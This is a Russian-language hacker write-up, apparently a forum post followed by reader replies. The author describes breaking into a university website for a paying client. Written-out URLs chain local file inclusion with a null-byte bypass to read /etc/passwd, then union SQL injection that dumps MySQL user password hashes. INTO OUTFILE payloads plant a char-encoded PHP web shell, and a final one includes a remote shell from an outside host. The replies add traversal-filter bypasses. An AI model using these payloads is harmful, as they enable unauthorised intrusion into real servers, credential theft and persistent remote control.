Сразу оговорюсь - я не ставлю целью описать весь взлом. Я хотел бы просто показать как 10 минут назад я легко и комфортно освоил новый для себя метод взлома. Если быть более точным - ничего нового здесь нет, просто раньше мне не попадалась подобная комбинация багов. Глубокая ночь. За окном непроглядная темнота. Передо мной кружка с пакетиком чая. На голове - наушники. В ICQ общаюсь с заказчиком. Заказчик даёт две новые ссылки - это новые мишени для моей атаки. Ну что ж, посмотрим, что к нам пришло. http://www.university.edu/art/1/name.php?name=control&page=hell'o_world Скрипт был самописный, поэтому его название не столь важно. Важен другой факт, а именно: в имени переменной есть кавычка. Как минимум, это означает, что стоит ожидать отстутствия фильтрации кавычек в других переменных. Кроме того, скорее всего скрипт не передает запросы к базам данных, так как символ кавычки скорее всего сбивал структуру запроса. Мой совет - всегда обращайте внимание на состав символов в значениях переменных, входящих в запрос! Это сразу дает представление о том, чего стоит ожидать в ходе дальнейшего взлома, а чего - нет. В данном случае мои ожидания, подкрепленные фактом пристуствия кавычки в значении оправдались. Ну что ж - проверим переменную на возможность чтения файлов: http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../etc/passwd Еще один совет - в процессе выявления факта локального инклуда символы перехода на каталог выше ../ сначала стоит ставить после значения переменной, не удаляя ее самой. Это связано с тем, что в подобных скриптах очень часто стоит проверка на вхождение в значение переменной определенного названия каталога. Страница становится пустой - а это уже хорошо. Перемены, они всегда к лучшему ;-) http://www.university.edu/art/1/name.php?name=control&page=../../../../../../../../../../etc/passwd Пусто. http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../etc/passwd%00 Нулевой байт нас не подвёл. root:x:0:1:Super-User (charlotte):/:/sbin/sh daemon:x:1:1:0000-Admin(0000):/: bin:x:2:2:0000-Admin(0000):/usr/bin: sys:x:3:3:0000-Admin(0000):/: ....... Отлично. Проверим наш инклуд на "глобальность". Точнее, на удаленность: http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php%00 http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php? Не инклудит. Жаль. Дальше я задумался. Стоит ли мне начать шастать по неизвестным директорися, проверять хистори и т. п. или же поискать другие баги. Так как домен был огромным, я решил не останавливаться на достигнутом и начал скурпулезный осмотр местности... Местность оказалась неровной и уже на второй переменной я нашёл не менее приятный для меня баг - SQL-injection. http://www.university.edu/stories.php?id='157' Кавычки жгут!!! Скажу честно, зачем значение параметра, выступающему в качестве начального ключа в одной из таблиц базы данных (это я про id - имхо в таблице он primary key) и имеющего в подавляющем большинстве случаев числовой тип передавать в кавычках - я не пойму до сих пор. P. S. - обрамление каычками - характерная черта типа CHAR. Но да и это не суть. А суть в том, что после запроса, вида: http://www.university.edu/stories.php?id='157'' текст статьи исчез. Это радует. Поробуем поиграть в коперфильдов и заставить его появиться: http://www.university.edu/stories.php?id='157' order by 1/* О, чудо! С первой попытки он появился. Что ж - заставим его исчезнуть еще раз: http://www.university.edu/stories.php?id='157' order by 88/* Текст исчезает, а у нас появляется точная уверенность в том, что мы имеем на руках (на сервере) blind SQL-injection. Ну ничего, пусть она и слепая, но смотреть мы ее заставим. Поиграв со значением ORDER BY, я узнал, что начальный запрос доставал из таблицы три поля (это я выснил потому, что при order by 4 страница была пустой, а при order by 3 - c текстом). http://www.university.edu/stories.php?id='157' order by 3/* http://www.university.edu/stories.php?id='157' union select 1,2,3/* На странице текст все той же статьи. Но ведь текст нам не нужен, нужны волшебные циферки 1 2 3 (или хотя бы одна из них). Для этого поступаем так: http://www.university.edu/stories.php?id='-157' union select 1, 2, 3/* Приход состоялся - наблюдаем цифры. http://www.university.edu/stories.php?id='-157' union select 1, 2, USER()/* muelib@localhost Локалхост, хреново. http://www.university.edu/stories.php?id='-157' union select 1, 2, VERSION()/* 4.1.2 stable Четверка, тоже не очень - пятерка намного лучше. http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user/* Цифры на месте - искренне ликую. http://www.university.edu/stories.php?id='-157' union select 1, 2, user from mysql.user LIMIT 0,1/* Надпись root проявилась. Это еще лучше (иногда, пароль рута к БД подходит на ssh). http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user LIMIT 0,1/* root:158200db52760077 Запрос http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user LIMIT 1,1/* выдает тоже самое. http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user where user like 'muelib'/* moellb:6b186803528d40aa Плохо. Выводит только одну строку. Домен большой юзеров должно быть много. Устану я так подбирать для всех. Надо менять запрос, а это уже лишнее время (еще один совет - если запрос возвращает только одну строку, то поробуйте имзенить место вывода результата запроса, то есть в данном случае поставить вместо 2). Либо второй вариант - начать расшифровывать два полученных пароля. Так, если рут еще на ssh не проканает, то второй юзер на админку - 80% должен подойти. Но это же время.... А специфика заказов (у этого заказчика) состоит в том, что сайт должен быть взломан за определенное время - то есть, через сутки этот сайт становится ненужным, а за срочность, к тому же, всегда доплачивают. Почти всегда. Что же делать.... Ладно, раз здесь столько ошибок и, кроме того, отсутсвует фильтрация, попробуем залить шелл при помощи оператора INSERT. Для этого читаем /etc/passwd при помощи читалки файлов, чтобы понять струткуру каталогов, там я нахожу полный путь к сайту, ибо там для каждого факультета (снаружи - это подкатологи на сайте) есть свой юзер (причем, все с доступом к командному интерпретатору си-шелл (csh)): /oldWWW/oldWWW/docs/www.university.edu http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/www.university.edu/test1.txt'/* Этот запрос должен будет создать в корне сайта текстовик с символами 1 2 3. Но сначала я лучше подстрахуюсь и проверю возможность использования оператора INSERT: http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user INTO OUTFILE '/tmp/test1.txt'/* Дальше через читалку проверяем: http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../tmp/test1.txt%00 1 2 3 на экране. Попутно приходит мысль проверить возможность чтения файлов с web'а. Так, например, пользователь под которым я просматриваю файлы через читалку, имеет почти всегда больше (ну, уж точно не меньше) прав, чем просто посетитель сайта. То есть, найдя, например, админку, в ее директории можно юудет почитать конфиги и выцепить незашифрованые пароли к БД. Скажу сразу - я не смог найти админки, прочитал только robots.txt и без того доступный с web: http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../..//oldWWW/oldWWW/docs/ www.university.edu/robots.txt%00 User-agent: * Disallow: /_tt/ Disallow: /_backs/ Disallow: /SSEWI/ User-agent: googlebot Disallow: *.csi Ладно, проверим возможность заливки шелла: http://www.university.edu/stories.php?id='-157' union select 1, 2, '<? system($_GET[cmd]); ?>' from mysql.user INTO OUTFILE '/tmp/test2.txt'/* Два важных замечания: 1) Имя переменной cmd идет без кавычек, чтобы не разрушить структуру запроса; 2) Функцию беру самую простую, т. к. вряд ли она будет отключена, с учетом всех предыдущих багов. Пробую просмотреть через читалку: http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../ /tmp/test2.txt%00 ....и вижу только один первый символ угловой скобки. "Вот *** " - выругался я. Фильтрация во время обработки запроса. Ладно, обойдем. Для этого воспользуемся функцией char(), возвращающей символ по его dec коду. Закодировать запрос можно вручную при помощи таблицы ASCII, а можно воспользоватся кодировщиком на сайте http://ha.ckers.org/xss.html Правда там он выдает несовсем в нужном нам виде. Внизу страницы в форму с подписью ASCII Text: забиваем текст шелла и смотри ниже на вывод результат кодировки в поле с подписью Decimal Value:. Выделяем полученное и копируем в тектовый редактор и через авто-замену меняем последовательность &# на , Затем копируем полученное, удалив первую запятую в аргумент функции CHAR(). В итоге имеем запрос: http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,32,63,62) from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/ www.university.edu/file.php'/* Заходим на www.university.edu/file.php и вместо ожидаемой белой страницы видим надпись Page not Found. Да что такое!! Ну-ка проверим еще раз через tmp: http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,32,63,62) from mysql.user INTO OUTFILE '/tmp/test3.txt'/* http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../ /tmp/test3.txt%00 Проуем добавить в GET запрос имя новой переменной cmd: http://www.university.edu/art/1/name.php?name=control&page=hell'o_world&cmd=id ...и не видим ровным счетом ничего (в смысле, результата выполнения команды). Ни на странице, ни в ее исходном коде. Далее в течение 20 минут я пытался понять в чем дело, попутно ища Cain&Abel (R) для хешей, а также пытаясь найти при помощи читалки файлов что-нить интересное... ...Спустя 20 минут я понял, что коверкать устои плохо. Если изначально бага называлась локальный инклуд - то она и есть локальный инклуд, но никак не читалка! И именнно поэтому при попытке просмотра, если символ один - < мы его видим, если <? - то нет, ибо для сервера - это уже начало php кода. Поэтому я и видел пустой - файл. На самом деле, он не был пуст - и если бы у нас была возможность просмотреть его размер (ну или у меня хватило смекалки глянуть в исходник страницы) - мы бы убедились в этом. Обратите внимание: код интерпретируется, несмотря на расширение файла. Далее у меня пришла другая интересная мысль - а зачем я должен работать через system, в адресной строке с тремя переменными, если я могу просто заинклудить файл в тело нашей страницы. Сказано - сделано. Кодируем строку: <? include('http://moisite.ru/shell.php'); ?> Получаем: <? inclu.......... Заменяем, получаем запрос: http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,105,110,99,108,117,........................,32,63,62) from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/ www.university.edu/file1.php'/* Пробуем прочитать файл (а точнее - проинклудить!) и перед нами открывется шелл. Ура! P. S. Меня очень сильно удивила комбинация "локальный инклуд- SQL инъекция", что я поспешил поделиться радостью с товарищем +toxa+. А он удивил меня еще больше, натолкнув на мысль, что при помощи локального инклуда можно, например, обходить проблемы, возникающие при аплоаде шеллов в папки с рисунками. То есть, например - есть у тебя возможность подгрузки аватары и локальный инклуд - ты вместо аватары залил себе код шелла (если не фильтруется расширение файла), аон в данной папке исполнять не хочет. В таких случаях, обычно необходимо переместить псевдо-картинку в директорию, в которой разрешено исполнение PHP-скриптов. Или... Просто заинклудить картинку. Ну, вообщем, Вы меня поняли ;-)... Человеческая фантазия, а уж тем более хакерская, не знает границ. Никогда не стоит забывать, что любую ситуацию - будь то взлом, или просто какая-то жизненная ситуация - нельзя рассматривать по пунктам, ибо пункты в совокупности образуют список. Полочки стойку. А несколько багов - успешный взлом. Удачи! С уажением, 1ten0.0net1. P.P.S - при возникновении любых вопросов всегда готов ответить. Если не сильно занят, конечно.
.\./.\./etc/passwd(примет вид ../../etc/passwd) -возможность обойти "защиту" /../(двойных точек) которая преобразует ../../etc/passwd в etc/passwd . Бэкслеши обрубят друг друга.
все давно знаем и юзаем ядовитый нулик для того, чтобы избавиться от ненужного нам расширения файла. если в скрипте инклудится include("/includes/".$_GET[$page].".php"), при fuck.php?page=about мы увидим страничку about.php, которая лежит в папке includes. к примеру, если мы хотим прочитать /etc/passwd, нужно переместиться в корневую диру (../../../../../../) и заюзать тот самый нуль байт: fuck.php?page=../../../../../../etc/passwd%00. cоответственно, если не поставим в конце %00, то скрипт попытается открыть /etc/passwd.php, что у него нифига не получится. в общем, вопрос ) раньше где-то читал, что почем, как и где, но сейчас забылось.. почему он, каким образом?? ))) и какая функция пшп включает экранирование, т.е %00 заменяется на "\".. и возможно ли обойти такую бяку?
Потому как библиотеки php написаны на C, а в этом языке %00 - это символ конца строки. Есть еще несколько символов из того же ряда. Стоит иногда попробовать и их: %0D %0A %3E Последний, как я читал, смог сработать только на при определенном прокси... вообщем, суть я не понял, но факт имел место быть. Первые два - кажется символ новой строки и табуляция. По поводу экранирования спец. символов - включается обычно в настройках php при установке опции safe_mode=On. Кстати, функция, кажется для этого - add_slashes().
0d - возврат каретки, 0A - перевод строки. Данные символы используются вместе или раздельно в зависимости от системы с которой имеем дело. Писал как-то некое подобие статьи на этот счет.